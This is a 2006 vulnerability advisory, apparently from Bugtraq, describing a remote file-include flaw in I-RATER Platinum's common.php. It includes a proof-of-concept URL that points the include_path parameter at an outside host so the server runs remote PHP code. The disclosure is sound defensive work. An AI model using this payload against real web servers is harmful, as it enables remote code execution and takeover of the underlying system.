I-RATER Platinum Common.PHP Remote File Include Vulnerability

Bugtraq ID:	17623
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 20 2006 12:00AM
Updated:	Apr 20 2006 08:06PM
Credit:	rot is credited with the discovery of this vulnerability.
Vulnerable:	I-RATER I-RATER Platinum 0
Not Vulnerable:

I-RATER Platinum Common.PHP Remote File Include Vulnerability

I-RATER Platinum is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

I-RATER Platinum Common.PHP Remote File Include Vulnerability



This issue can be exploited through a web client.

The following proof of concept is available:

http://www.example.com/[path]/include/common.php?include_path=http://www.example2.com/

I-RATER Platinum Common.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

I-RATER Platinum Common.PHP Remote File Include Vulnerability

References:

• I-RATER Home Page (I-RATER)
  
• I-Rater Platinum - Remote File Inclusion Vuln (rot)